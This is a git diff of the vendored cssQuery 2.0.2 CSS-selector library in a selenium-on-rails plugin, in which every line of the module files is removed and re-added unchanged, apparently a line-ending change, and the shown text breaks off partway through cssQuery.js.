e,i;9(i=0;(e=f[i]);i++)8(c.l(e.1V))r.z(e)};D[":"]=6(r,f,p,a){7 t=h[p],e,i;8(t)9(i=0;(e=f[i]);i++)8(t(e,a))r.z(e)};h["2W"]=6(e){7 d=Q(e);8(d.1C)9(7 i=0;i<d.1C.y;i++){8(d.1C[i]==e)5 K}};h["2V"]=6(e){};7 M=6(e){5(e&&e.1c==1&&e.1f!="!")?e:23};7 16=6(e){H(e&&(e=e.2U)&&!M(e))28;5 e};7 G=6(e){H(e&&(e=e.2T)&&!M(e))28;5 e};7 1r=6(e){5 M(e.27)||G(e.27)};7 1P=6(e){5 M(e.26)||16(e.26)};7 1o=6(e){7 c=[];e=1r(e);H(e){c.z(e);e=G(e)}5 c};7 U=K;7 1h=6(e){7 d=Q(e);5(2S d.25=="2R")?/\\.1J$/i.l(d.2Q):2P(d.25=="2O 2N")};7 Q=6(e){5 e.2M||e.1g};7 X=6(e,t){5(t=="*"&&e.1B)?e.1B:e.X(t)};7 17=6(e,t,n){8(t=="*")5 M(e);8(!14(e,n))5 L;8(!1h(e))t=t.2L();5 e.1f==t};7 14=6(e,n){5!n||(n=="*")||(e.2K==n)};7 1e=6(e){5 e.1G};6 24(r,f,B){7 m,i,j;9(i=0;i<f.y;i++){8(m=f[i].1B.2J(B)){8(m.B==B)r.z(m);1A 8(m.y!=23){9(j=0;j<m.y;j++){8(m[j].B==B)r.z(m[j])}}}}5 r};8(![].z)22.2I.z=6(){9(7 i=0;i<1z.y;i++){o[o.y]=1z[i]}5 o.y};7 N=/\\|/;6 21(A,t,f,a){8(N.l(f)){f=f.1l(N);a=f[0];f=f[1]}7 r=[];8(D[t]){D[t](r,A,f,a)}5 r};7 S=/^[^\\s>+~]/;7 20=/[\\s#.:>+~()@]|[^\\s#.:>+~()@]+/g;6 1y(s){8(S.l(s))s=" "+s;5 s.P(20)||[]};7 W=/\\s*([\\s>+~(),]|^|$)\\s*/g;7 I=/([\\s>+~,]|[^(]\\+|^)([#.:@])/g;7 18=6(s){5 s.O(W,"$1").O(I,"$1*$2")};7 1u={1Z:6(){5"\'"},P:/^(\'[^\']*\')|("[^"]*")$/,l:6(s){5 o.P.l(s)},1S:6(s){5 o.l(s)?s:o+s+o},1Y:6(s){5 o.l(s)?s.Z(1,-1):s}};7 1s=6(t){5 1u.1Y(t)};7 E=/([\\/()[\\]?{}|*+-])/g;6 R(s){5 s.O(E,"\\\\$1")};x.15("1j-2H",6(){D[">"]=6(r,f,t,n){7 e,i,j;9(i=0;i<f.y;i++){7 s=1o(f[i]);9(j=0;(e=s[j]);j++)8(17(e,t,n))r.z(e)}};D["+"]=6(r,f,t,n){9(7 i=0;i<f.y;i++){7 e=G(f[i]);8(e&&17(e,t,n))r.z(e)}};D["@"]=6(r,f,a){7 t=T[a].l;7 e,i;9(i=0;(e=f[i]);i++)8(t(e))r.z(e)};h["2G-10"]=6(e){5!16(e)};h["1x"]=6(e,c){c=12 1t("^"+c,"i");H(e&&!e.13("1x"))e=e.1n;5 e&&c.l(e.13("1x"))};q.1X=/\\\\:/g;q.1w="@";q.J={};q.O=6(m,a,n,c,v){7 k=o.1w+m;8(!T[k]){a=o.1W(a,c||"",v||"");T[k]=a;T.z(a)}5 T[k].B};q.1Q=6(s){s=s.O(o.1X,"|");7 m;H(m=s.P(o.P)){7 r=o.O(m[0],m[1],m[2],m[3],m[4]);s=s.O(o.P,r)}5 s};q.1W=6(p,t,v){7 a={};a.B=o.1w+T.y;a.2F=p;t=o.J[t];t=t?t(o.13(p),1s(v)):L;a.l=12 2E("e","5 "+t);5 a};q.13=6(n){1d(n.2D()){F"B":5"e.B";F"2C":5"e.1V";F"9":5"e.2B";F"1T":8(U){5"1U((e.2A.P(/1T=\\\\1v?([^\\\\s\\\\1v]*)\\\\1v?/)||[])[1]||\'\')"}}5"e.13(\'"+n.O(N,":")+"\')"};q.J[""]=6(a){5 a};q.J["="]=6(a,v){5 a+"=="+1u.1S(v)};q.J["~="]=6(a,v){5"/(^| )"+R(v)+"( |$)/.l("+a+")"};q.J["|="]=6(a,v){5"/^"+R(v)+"(-|$)/.l("+a+")"};7 1R=18;18=6(s){5 1R(q.1Q(s))}});x.15("1j-2z",6(){D["~"]=6(r,f,t,n){7 e,i;9(i=0;(e=f[i]);i++){H(e=G(e)){8(17(e,t,n))r.z(e)}}};h["2y"]=6(e,t){t=12 1t(R(1s(t)));5 t.l(1e(e))};h["2x"]=6(e){5 e==Q(e).1H};h["2w"]=6(e){7 n,i;9(i=0;(n=e.1F[i]);i++){8(M(n)||n.1c==3)5 L}5 K};h["1N-10"]=6(e){5!G(e)};h["2v-10"]=6(e){e=e.1n;5 1r(e)==1P(e)};h["2u"]=6(e,s){7 n=x(s,Q(e));9(7 i=0;i<n.y;i++){8(n[i]==e)5 L}5 K};h["1O-10"]=6(e,a){5 1p(e,a,16)};h["1O-1N-10"]=6(e,a){5 1p(e,a,G)};h["2t"]=6(e){5 e.B==2s.2r.Z(1)};h["1M"]=6(e){5 e.1M};h["2q"]=6(e){5 e.1q===L};h["1q"]=6(e){5 e.1q};h["1L"]=6(e){5 e.1L};q.J["^="]=6(a,v){5"/^"+R(v)+"/.l("+a+")"};q.J["$="]=6(a,v){5"/"+R(v)+"$/.l("+a+")"};q.J["*="]=6(a,v){5"/"+R(v)+"/.l("+a+")"};6 1p(e,a,t){1d(a){F"n":5 K;F"2p":a="2n";1a;F"2o":a="2n+1"}7 1m=1o(e.1n);6 1k(i){7 i=(t==G)?1m.y-i:i-1;5 1m[i]==e};8(!Y(a))5 1k(a);a=a.1l("n");7 m=1K(a[0]);7 s=1K(a[1]);8((Y(m)||m==1)&&s==0)5 K;8(m==0&&!Y(s))5 1k(s);8(Y(s))s=0;7 c=1;H(e=t(e))c++;8(Y(m)||m==1)5(t==G)?(c<=s):(s>=c);5(c%m)==s}});x.15("1j-2m",6(){U=1i("L;/*@2l@8(@\\2k)U=K@2j@*/");8(!U){X=6(e,t,n){5 n?e.2i("*",t):e.X(t)};14=6(e,n){5!n||(n=="*")||(e.2h==n)};1h=1g.1I?6(e){5/1J/i.l(Q(e).1I)}:6(e){5 Q(e).1H.1f!="2g"};1e=6(e){5 e.2f||e.1G||1b(e)};6 1b(e){7 t="",n,i;9(i=0;(n=e.1F[i]);i++){1d(n.1c){F 11:F 1:t+=1b(n);1a;F 3:t+=n.2e;1a}}5 t}}});19=K;5 x}();',62,190,'|||||return|function|var|if|for||||||||pseudoClasses||||test|||this||AttributeSelector|||||||cssQuery|length|push|fr|id||selectors||case|nextElementSibling|while||tests|true|false|thisElement||replace|match|getDocument|regEscape||attributeSelectors|isMSIE|cache||getElementsByTagName|isNaN|slice|child||new|getAttribute|compareNamespace|addModule|previousElementSibling|compareTagName|parseSelector|loaded|break|_0|nodeType|switch|getTextContent|tagName|document|isXML|eval|css|_1|split|ch|parentNode|childElements|nthChild|disabled|firstElementChild|getText|RegExp|Quote|x22|PREFIX|lang|_2|arguments|else|all|links|version|se|childNodes|innerText|documentElement|contentType|xml|parseInt|indeterminate|checked|last|nth|lastElementChild|parse|_3|add|href|String|className|create|NS_IE|remove|toString|ST|select|Array|null|_4|mimeType|lastChild|firstChild|continue|modules|delete|join|caching|error|nodeValue|textContent|HTML|prefix|getElementsByTagNameNS|end|x5fwin32|cc_on|standard||odd|even|enabled|hash|location|target|not|only|empty|root|contains|level3|outerHTML|htmlFor|class|toLowerCase|Function|name|first|level2|prototype|item|scopeName|toUpperCase|ownerDocument|Document|XML|Boolean|URL|unknown|typeof|nextSibling|previousSibling|visited|link|valueOf|clearCache|catch|concat|constructor|callee|try'.split('|'),0,{}))
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery-level2.js b/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery-level2.js
index 2987b15b..02dd0e5f 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery-level2.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery-level2.js
@@ -1,142 +1,142 @@
-/*
-	cssQuery, version 2.0.2 (2005-08-19)
-	Copyright: 2004-2005, Dean Edwards (http://dean.edwards.name/)
-	License: http://creativecommons.org/licenses/LGPL/2.1/
-*/
-
-cssQuery.addModule("css-level2", function() {
-
-// -----------------------------------------------------------------------
-// selectors
-// -----------------------------------------------------------------------
-
-// child selector
-selectors[">"] = function($results, $from, $tagName, $namespace) {
-	var $element, i, j;
-	for (i = 0; i < $from.length; i++) {
-		var $subset = childElements($from[i]);
-		for (j = 0; ($element = $subset[j]); j++)
-			if (compareTagName($element, $tagName, $namespace))
-				$results.push($element);
-	}
-};
-
-// sibling selector
-selectors["+"] = function($results, $from, $tagName, $namespace) {
-	for (var i = 0; i < $from.length; i++) {
-		var $element = nextElementSibling($from[i]);
-		if ($element && compareTagName($element, $tagName, $namespace))
-			$results.push($element);
-	}
-};
-
-// attribute selector
-selectors["@"] = function($results, $from, $attributeSelectorID) {
-	var $test = attributeSelectors[$attributeSelectorID].test;
-	var $element, i;
-	for (i = 0; ($element = $from[i]); i++)
-		if ($test($element)) $results.push($element);
-};
-
-// -----------------------------------------------------------------------
-// pseudo-classes
-// -----------------------------------------------------------------------
-
-pseudoClasses["first-child"] = function($element) {
-	return !previousElementSibling($element);
-};
-
-pseudoClasses["lang"] = function($element, $code) {
-	$code = new RegExp("^" + $code, "i");
-	while ($element && !$element.getAttribute("lang")) $element = $element.parentNode;
-	return $element && $code.test($element.getAttribute("lang"));
-};
-
-// -----------------------------------------------------------------------
-//  attribute selectors
-// -----------------------------------------------------------------------
-
-// constants
-AttributeSelector.NS_IE = /\\:/g;
-AttributeSelector.PREFIX = "@";
-// properties
-AttributeSelector.tests = {};
-// methods
-AttributeSelector.replace = function($match, $attribute, $namespace, $compare, $value) {
-	var $key = this.PREFIX + $match;
-	if (!attributeSelectors[$key]) {
-		$attribute = this.create($attribute, $compare || "", $value || "");
-		// store the selector
-		attributeSelectors[$key] = $attribute;
-		attributeSelectors.push($attribute);
-	}
-	return attributeSelectors[$key].id;
-};
-AttributeSelector.parse = function($selector) {
-	$selector = $selector.replace(this.NS_IE, "|");
-	var $match;
-	while ($match = $selector.match(this.match)) {
-		var $replace = this.replace($match[0], $match[1], $match[2], $match[3], $match[4]);
-		$selector = $selector.replace(this.match, $replace);
-	}
-	return $selector;
-};
-AttributeSelector.create = function($propertyName, $test, $value) {
-	var $attributeSelector = {};
-	$attributeSelector.id = this.PREFIX + attributeSelectors.length;
-	$attributeSelector.name = $propertyName;
-	$test = this.tests[$test];
-	$test = $test ? $test(this.getAttribute($propertyName), getText($value)) : false;
-	$attributeSelector.test = new Function("e", "return " + $test);
-	return $attributeSelector;
-};
-AttributeSelector.getAttribute = function($name) {
-	switch ($name.toLowerCase()) {
-		case "id":
-			return "e.id";
-		case "class":
-			return "e.className";
-		case "for":
-			return "e.htmlFor";
-		case "href":
-			if (isMSIE) {
-				// IE always returns the full path not the fragment in the href attribute
-				//  so we RegExp it out of outerHTML. Opera does the same thing but there
-				//  is no way to get the original attribute.
-				return "String((e.outerHTML.match(/href=\\x22?([^\\s\\x22]*)\\x22?/)||[])[1]||'')";
-			}
-	}
-	return "e.getAttribute('" + $name.replace($NAMESPACE, ":") + "')";
-};
-
-// -----------------------------------------------------------------------
-//  attribute selector tests
-// -----------------------------------------------------------------------
-
-AttributeSelector.tests[""] = function($attribute) {
-	return $attribute;
-};
-
-AttributeSelector.tests["="] = function($attribute, $value) {
-	return $attribute + "==" + Quote.add($value);
-};
-
-AttributeSelector.tests["~="] = function($attribute, $value) {
-	return "/(^| )" + regEscape($value) + "( |$)/.test(" + $attribute + ")";
-};
-
-AttributeSelector.tests["|="] = function($attribute, $value) {
-	return "/^" + regEscape($value) + "(-|$)/.test(" + $attribute + ")";
-};
-
-// -----------------------------------------------------------------------
-//  parsing
-// -----------------------------------------------------------------------
-
-// override parseSelector to parse out attribute selectors
-var _parseSelector = parseSelector;
-parseSelector = function($selector) {
-	return _parseSelector(AttributeSelector.parse($selector));
-};
-
-}); // addModule
+/*
+	cssQuery, version 2.0.2 (2005-08-19)
+	Copyright: 2004-2005, Dean Edwards (http://dean.edwards.name/)
+	License: http://creativecommons.org/licenses/LGPL/2.1/
+*/
+
+cssQuery.addModule("css-level2", function() {
+
+// -----------------------------------------------------------------------
+// selectors
+// -----------------------------------------------------------------------
+
+// child selector
+selectors[">"] = function($results, $from, $tagName, $namespace) {
+	var $element, i, j;
+	for (i = 0; i < $from.length; i++) {
+		var $subset = childElements($from[i]);
+		for (j = 0; ($element = $subset[j]); j++)
+			if (compareTagName($element, $tagName, $namespace))
+				$results.push($element);
+	}
+};
+
+// sibling selector
+selectors["+"] = function($results, $from, $tagName, $namespace) {
+	for (var i = 0; i < $from.length; i++) {
+		var $element = nextElementSibling($from[i]);
+		if ($element && compareTagName($element, $tagName, $namespace))
+			$results.push($element);
+	}
+};
+
+// attribute selector
+selectors["@"] = function($results, $from, $attributeSelectorID) {
+	var $test = attributeSelectors[$attributeSelectorID].test;
+	var $element, i;
+	for (i = 0; ($element = $from[i]); i++)
+		if ($test($element)) $results.push($element);
+};
+
+// -----------------------------------------------------------------------
+// pseudo-classes
+// -----------------------------------------------------------------------
+
+pseudoClasses["first-child"] = function($element) {
+	return !previousElementSibling($element);
+};
+
+pseudoClasses["lang"] = function($element, $code) {
+	$code = new RegExp("^" + $code, "i");
+	while ($element && !$element.getAttribute("lang")) $element = $element.parentNode;
+	return $element && $code.test($element.getAttribute("lang"));
+};
+
+// -----------------------------------------------------------------------
+//  attribute selectors
+// -----------------------------------------------------------------------
+
+// constants
+AttributeSelector.NS_IE = /\\:/g;
+AttributeSelector.PREFIX = "@";
+// properties
+AttributeSelector.tests = {};
+// methods
+AttributeSelector.replace = function($match, $attribute, $namespace, $compare, $value) {
+	var $key = this.PREFIX + $match;
+	if (!attributeSelectors[$key]) {
+		$attribute = this.create($attribute, $compare || "", $value || "");
+		// store the selector
+		attributeSelectors[$key] = $attribute;
+		attributeSelectors.push($attribute);
+	}
+	return attributeSelectors[$key].id;
+};
+AttributeSelector.parse = function($selector) {
+	$selector = $selector.replace(this.NS_IE, "|");
+	var $match;
+	while ($match = $selector.match(this.match)) {
+		var $replace = this.replace($match[0], $match[1], $match[2], $match[3], $match[4]);
+		$selector = $selector.replace(this.match, $replace);
+	}
+	return $selector;
+};
+AttributeSelector.create = function($propertyName, $test, $value) {
+	var $attributeSelector = {};
+	$attributeSelector.id = this.PREFIX + attributeSelectors.length;
+	$attributeSelector.name = $propertyName;
+	$test = this.tests[$test];
+	$test = $test ? $test(this.getAttribute($propertyName), getText($value)) : false;
+	$attributeSelector.test = new Function("e", "return " + $test);
+	return $attributeSelector;
+};
+AttributeSelector.getAttribute = function($name) {
+	switch ($name.toLowerCase()) {
+		case "id":
+			return "e.id";
+		case "class":
+			return "e.className";
+		case "for":
+			return "e.htmlFor";
+		case "href":
+			if (isMSIE) {
+				// IE always returns the full path not the fragment in the href attribute
+				//  so we RegExp it out of outerHTML. Opera does the same thing but there
+				//  is no way to get the original attribute.
+				return "String((e.outerHTML.match(/href=\\x22?([^\\s\\x22]*)\\x22?/)||[])[1]||'')";
+			}
+	}
+	return "e.getAttribute('" + $name.replace($NAMESPACE, ":") + "')";
+};
+
+// -----------------------------------------------------------------------
+//  attribute selector tests
+// -----------------------------------------------------------------------
+
+AttributeSelector.tests[""] = function($attribute) {
+	return $attribute;
+};
+
+AttributeSelector.tests["="] = function($attribute, $value) {
+	return $attribute + "==" + Quote.add($value);
+};
+
+AttributeSelector.tests["~="] = function($attribute, $value) {
+	return "/(^| )" + regEscape($value) + "( |$)/.test(" + $attribute + ")";
+};
+
+AttributeSelector.tests["|="] = function($attribute, $value) {
+	return "/^" + regEscape($value) + "(-|$)/.test(" + $attribute + ")";
+};
+
+// -----------------------------------------------------------------------
+//  parsing
+// -----------------------------------------------------------------------
+
+// override parseSelector to parse out attribute selectors
+var _parseSelector = parseSelector;
+parseSelector = function($selector) {
+	return _parseSelector(AttributeSelector.parse($selector));
+};
+
+}); // addModule
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery-level3.js b/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery-level3.js
index 4dce4651..11d19664 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery-level3.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery-level3.js
@@ -1,150 +1,150 @@
-/*
-	cssQuery, version 2.0.2 (2005-08-19)
-	Copyright: 2004-2005, Dean Edwards (http://dean.edwards.name/)
-	License: http://creativecommons.org/licenses/LGPL/2.1/
-*/
-
-/* Thanks to Bill Edney */
-
-cssQuery.addModule("css-level3", function() {
-
-// -----------------------------------------------------------------------
-// selectors
-// -----------------------------------------------------------------------
-
-// indirect sibling selector
-selectors["~"] = function($results, $from, $tagName, $namespace) {
-	var $element, i;
-	for (i = 0; ($element = $from[i]); i++) {
-		while ($element = nextElementSibling($element)) {
-			if (compareTagName($element, $tagName, $namespace))
-				$results.push($element);
-		}
-	}
-};
-
-// -----------------------------------------------------------------------
-// pseudo-classes
-// -----------------------------------------------------------------------
-
-// I'm hoping these pseudo-classes are pretty readable. Let me know if
-//  any need explanation.
-
-pseudoClasses["contains"] = function($element, $text) {
-	$text = new RegExp(regEscape(getText($text)));
-	return $text.test(getTextContent($element));
-};
-
-pseudoClasses["root"] = function($element) {
-	return $element == getDocument($element).documentElement;
-};
-
-pseudoClasses["empty"] = function($element) {
-	var $node, i;
-	for (i = 0; ($node = $element.childNodes[i]); i++) {
-		if (thisElement($node) || $node.nodeType == 3) return false;
-	}
-	return true;
-};
-
-pseudoClasses["last-child"] = function($element) {
-	return !nextElementSibling($element);
-};
-
-pseudoClasses["only-child"] = function($element) {
-	$element = $element.parentNode;
-	return firstElementChild($element) == lastElementChild($element);
-};
-
-pseudoClasses["not"] = function($element, $selector) {
-	var $negated = cssQuery($selector, getDocument($element));
-	for (var i = 0; i < $negated.length; i++) {
-		if ($negated[i] == $element) return false;
-	}
-	return true;
-};
-
-pseudoClasses["nth-child"] = function($element, $arguments) {
-	return nthChild($element, $arguments, previousElementSibling);
-};
-
-pseudoClasses["nth-last-child"] = function($element, $arguments) {
-	return nthChild($element, $arguments, nextElementSibling);
-};
-
-pseudoClasses["target"] = function($element) {
-	return $element.id == location.hash.slice(1);
-};
-
-// UI element states
-
-pseudoClasses["checked"] = function($element) {
-	return $element.checked;
-};
-
-pseudoClasses["enabled"] = function($element) {
-	return $element.disabled === false;
-};
-
-pseudoClasses["disabled"] = function($element) {
-	return $element.disabled;
-};
-
-pseudoClasses["indeterminate"] = function($element) {
-	return $element.indeterminate;
-};
-
-// -----------------------------------------------------------------------
-//  attribute selector tests
-// -----------------------------------------------------------------------
-
-AttributeSelector.tests["^="] = function($attribute, $value) {
-	return "/^" + regEscape($value) + "/.test(" + $attribute + ")";
-};
-
-AttributeSelector.tests["$="] = function($attribute, $value) {
-	return "/" + regEscape($value) + "$/.test(" + $attribute + ")";
-};
-
-AttributeSelector.tests["*="] = function($attribute, $value) {
-	return "/" + regEscape($value) + "/.test(" + $attribute + ")";
-};
-
-// -----------------------------------------------------------------------
-//  nth child support (Bill Edney)
-// -----------------------------------------------------------------------
-
-function nthChild($element, $arguments, $traverse) {
-	switch ($arguments) {
-		case "n": return true;
-		case "even": $arguments = "2n"; break;
-		case "odd": $arguments = "2n+1";
-	}
-
-	var $$children = childElements($element.parentNode);
-	function _checkIndex($index) {
-		var $index = ($traverse == nextElementSibling) ? $$children.length - $index : $index - 1;
-		return $$children[$index] == $element;
-	};
-
-	//	it was just a number (no "n")
-	if (!isNaN($arguments)) return _checkIndex($arguments);
-
-	$arguments = $arguments.split("n");
-	var $multiplier = parseInt($arguments[0]);
-	var $step = parseInt($arguments[1]);
-
-	if ((isNaN($multiplier) || $multiplier == 1) && $step == 0) return true;
-	if ($multiplier == 0 && !isNaN($step)) return _checkIndex($step);
-	if (isNaN($step)) $step = 0;
-
-	var $count = 1;
-	while ($element = $traverse($element)) $count++;
-
-	if (isNaN($multiplier) || $multiplier == 1)
-		return ($traverse == nextElementSibling) ? ($count <= $step) : ($step >= $count);
-
-	return ($count % $multiplier) == $step;
-};
-
-}); // addModule
+/*
+	cssQuery, version 2.0.2 (2005-08-19)
+	Copyright: 2004-2005, Dean Edwards (http://dean.edwards.name/)
+	License: http://creativecommons.org/licenses/LGPL/2.1/
+*/
+
+/* Thanks to Bill Edney */
+
+cssQuery.addModule("css-level3", function() {
+
+// -----------------------------------------------------------------------
+// selectors
+// -----------------------------------------------------------------------
+
+// indirect sibling selector
+selectors["~"] = function($results, $from, $tagName, $namespace) {
+	var $element, i;
+	for (i = 0; ($element = $from[i]); i++) {
+		while ($element = nextElementSibling($element)) {
+			if (compareTagName($element, $tagName, $namespace))
+				$results.push($element);
+		}
+	}
+};
+
+// -----------------------------------------------------------------------
+// pseudo-classes
+// -----------------------------------------------------------------------
+
+// I'm hoping these pseudo-classes are pretty readable. Let me know if
+//  any need explanation.
+
+pseudoClasses["contains"] = function($element, $text) {
+	$text = new RegExp(regEscape(getText($text)));
+	return $text.test(getTextContent($element));
+};
+
+pseudoClasses["root"] = function($element) {
+	return $element == getDocument($element).documentElement;
+};
+
+pseudoClasses["empty"] = function($element) {
+	var $node, i;
+	for (i = 0; ($node = $element.childNodes[i]); i++) {
+		if (thisElement($node) || $node.nodeType == 3) return false;
+	}
+	return true;
+};
+
+pseudoClasses["last-child"] = function($element) {
+	return !nextElementSibling($element);
+};
+
+pseudoClasses["only-child"] = function($element) {
+	$element = $element.parentNode;
+	return firstElementChild($element) == lastElementChild($element);
+};
+
+pseudoClasses["not"] = function($element, $selector) {
+	var $negated = cssQuery($selector, getDocument($element));
+	for (var i = 0; i < $negated.length; i++) {
+		if ($negated[i] == $element) return false;
+	}
+	return true;
+};
+
+pseudoClasses["nth-child"] = function($element, $arguments) {
+	return nthChild($element, $arguments, previousElementSibling);
+};
+
+pseudoClasses["nth-last-child"] = function($element, $arguments) {
+	return nthChild($element, $arguments, nextElementSibling);
+};
+
+pseudoClasses["target"] = function($element) {
+	return $element.id == location.hash.slice(1);
+};
+
+// UI element states
+
+pseudoClasses["checked"] = function($element) {
+	return $element.checked;
+};
+
+pseudoClasses["enabled"] = function($element) {
+	return $element.disabled === false;
+};
+
+pseudoClasses["disabled"] = function($element) {
+	return $element.disabled;
+};
+
+pseudoClasses["indeterminate"] = function($element) {
+	return $element.indeterminate;
+};
+
+// -----------------------------------------------------------------------
+//  attribute selector tests
+// -----------------------------------------------------------------------
+
+AttributeSelector.tests["^="] = function($attribute, $value) {
+	return "/^" + regEscape($value) + "/.test(" + $attribute + ")";
+};
+
+AttributeSelector.tests["$="] = function($attribute, $value) {
+	return "/" + regEscape($value) + "$/.test(" + $attribute + ")";
+};
+
+AttributeSelector.tests["*="] = function($attribute, $value) {
+	return "/" + regEscape($value) + "/.test(" + $attribute + ")";
+};
+
+// -----------------------------------------------------------------------
+//  nth child support (Bill Edney)
+// -----------------------------------------------------------------------
+
+function nthChild($element, $arguments, $traverse) {
+	switch ($arguments) {
+		case "n": return true;
+		case "even": $arguments = "2n"; break;
+		case "odd": $arguments = "2n+1";
+	}
+
+	var $$children = childElements($element.parentNode);
+	function _checkIndex($index) {
+		var $index = ($traverse == nextElementSibling) ? $$children.length - $index : $index - 1;
+		return $$children[$index] == $element;
+	};
+
+	//	it was just a number (no "n")
+	if (!isNaN($arguments)) return _checkIndex($arguments);
+
+	$arguments = $arguments.split("n");
+	var $multiplier = parseInt($arguments[0]);
+	var $step = parseInt($arguments[1]);
+
+	if ((isNaN($multiplier) || $multiplier == 1) && $step == 0) return true;
+	if ($multiplier == 0 && !isNaN($step)) return _checkIndex($step);
+	if (isNaN($step)) $step = 0;
+
+	var $count = 1;
+	while ($element = $traverse($element)) $count++;
+
+	if (isNaN($multiplier) || $multiplier == 1)
+		return ($traverse == nextElementSibling) ? ($count <= $step) : ($step >= $count);
+
+	return ($count % $multiplier) == $step;
+};
+
+}); // addModule
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery-standard.js b/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery-standard.js
index 309184d5..77314b86 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery-standard.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery-standard.js
@@ -1,53 +1,53 @@
-/*
-	cssQuery, version 2.0.2 (2005-08-19)
-	Copyright: 2004-2005, Dean Edwards (http://dean.edwards.name/)
-	License: http://creativecommons.org/licenses/LGPL/2.1/
-*/
-
-cssQuery.addModule("css-standard", function() { // override IE optimisation
-
-// cssQuery was originally written as the CSS engine for IE7. It is
-//  optimised (in terms of size not speed) for IE so this module is
-//  provided separately to provide cross-browser support.
-
-// -----------------------------------------------------------------------
-// browser compatibility
-// -----------------------------------------------------------------------
-
-// sniff for Win32 Explorer
-isMSIE = eval("false;/*@cc_on@if(@\x5fwin32)isMSIE=true@end@*/");
-
-if (!isMSIE) {
-	getElementsByTagName = function($element, $tagName, $namespace) {
-		return $namespace ? $element.getElementsByTagNameNS("*", $tagName) :
-			$element.getElementsByTagName($tagName);
-	};
-
-	compareNamespace = function($element, $namespace) {
-		return !$namespace || ($namespace == "*") || ($element.prefix == $namespace);
-	};
-
-	isXML = document.contentType ? function($element) {
-		return /xml/i.test(getDocument($element).contentType);
-	} : function($element) {
-		return getDocument($element).documentElement.tagName != "HTML";
-	};
-
-	getTextContent = function($element) {
-		// mozilla || opera || other
-		return $element.textContent || $element.innerText || _getTextContent($element);
-	};
-
-	function _getTextContent($element) {
-		var $textContent = "", $node, i;
-		for (i = 0; ($node = $element.childNodes[i]); i++) {
-			switch ($node.nodeType) {
-				case 11: // document fragment
-				case 1: $textContent += _getTextContent($node); break;
-				case 3: $textContent += $node.nodeValue; break;
-			}
-		}
-		return $textContent;
-	};
-}
-}); // addModule
+/*
+	cssQuery, version 2.0.2 (2005-08-19)
+	Copyright: 2004-2005, Dean Edwards (http://dean.edwards.name/)
+	License: http://creativecommons.org/licenses/LGPL/2.1/
+*/
+
+cssQuery.addModule("css-standard", function() { // override IE optimisation
+
+// cssQuery was originally written as the CSS engine for IE7. It is
+//  optimised (in terms of size not speed) for IE so this module is
+//  provided separately to provide cross-browser support.
+
+// -----------------------------------------------------------------------
+// browser compatibility
+// -----------------------------------------------------------------------
+
+// sniff for Win32 Explorer
+isMSIE = eval("false;/*@cc_on@if(@\x5fwin32)isMSIE=true@end@*/");
+
+if (!isMSIE) {
+	getElementsByTagName = function($element, $tagName, $namespace) {
+		return $namespace ? $element.getElementsByTagNameNS("*", $tagName) :
+			$element.getElementsByTagName($tagName);
+	};
+
+	compareNamespace = function($element, $namespace) {
+		return !$namespace || ($namespace == "*") || ($element.prefix == $namespace);
+	};
+
+	isXML = document.contentType ? function($element) {
+		return /xml/i.test(getDocument($element).contentType);
+	} : function($element) {
+		return getDocument($element).documentElement.tagName != "HTML";
+	};
+
+	getTextContent = function($element) {
+		// mozilla || opera || other
+		return $element.textContent || $element.innerText || _getTextContent($element);
+	};
+
+	function _getTextContent($element) {
+		var $textContent = "", $node, i;
+		for (i = 0; ($node = $element.childNodes[i]); i++) {
+			switch ($node.nodeType) {
+				case 11: // document fragment
+				case 1: $textContent += _getTextContent($node); break;
+				case 3: $textContent += $node.nodeValue; break;
+			}
+		}
+		return $textContent;
+	};
+}
+}); // addModule
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery.js b/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery.js
index 7a6efee8..1fcab4a1 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/lib/cssQuery/src/cssQuery.js
@@ -1,356 +1,356 @@
-/*
-	cssQuery, version 2.0.2 (2005-08-19)
-	Copyright: 2004-2005, Dean Edwards (http://dean.edwards.name/)
-	License: http://creativecommons.org/licenses/LGPL/2.1/
-*/
-
-// the following functions allow querying of the DOM using CSS selectors
-var cssQuery = function() {
-var version = "2.0.2";
-
-// -----------------------------------------------------------------------
-// main query function
-// -----------------------------------------------------------------------
-
-var $COMMA = /\s*,\s*/;
-var cssQuery = function($selector, $$from) {
-try {
-	var $match = [];
-	var $useCache = arguments.callee.caching && !$$from;
-	var $base = ($$from) ? ($$from.constructor == Array) ? $$from : [$$from] : [document];
-	// process comma separated selectors
-	var $$selectors = parseSelector($selector).split($COMMA), i;
-	for (i = 0; i < $$selectors.length; i++) {
-		// convert the selector to a stream
-		$selector = _toStream($$selectors[i]);
-		// faster chop if it starts with id (MSIE only)
-		if (isMSIE && $selector.slice(0, 3).join("") == " *#") {
-			$selector = $selector.slice(2);
-			$$from = _msie_selectById([], $base, $selector[1]);
-		} else $$from = $base;
-		// process the stream
-		var j = 0, $token, $filter, $arguments, $cacheSelector = "";
-		while (j < $selector.length) {
-			$token = $selector[j++];
-			$filter = $selector[j++];
-			$cacheSelector += $token + $filter;
-			// some pseudo-classes allow arguments to be passed
-			//  e.g. nth-child(even)
-			$arguments = "";
-			if ($selector[j] == "(") {
-				while ($selector[j++] != ")" && j < $selector.length) {
-					$arguments += $selector[j];
-				}
-				$arguments = $arguments.slice(0, -1);
-				$cacheSelector += "(" + $arguments + ")";
-			}
-			// process a token/filter pair use cached results if possible
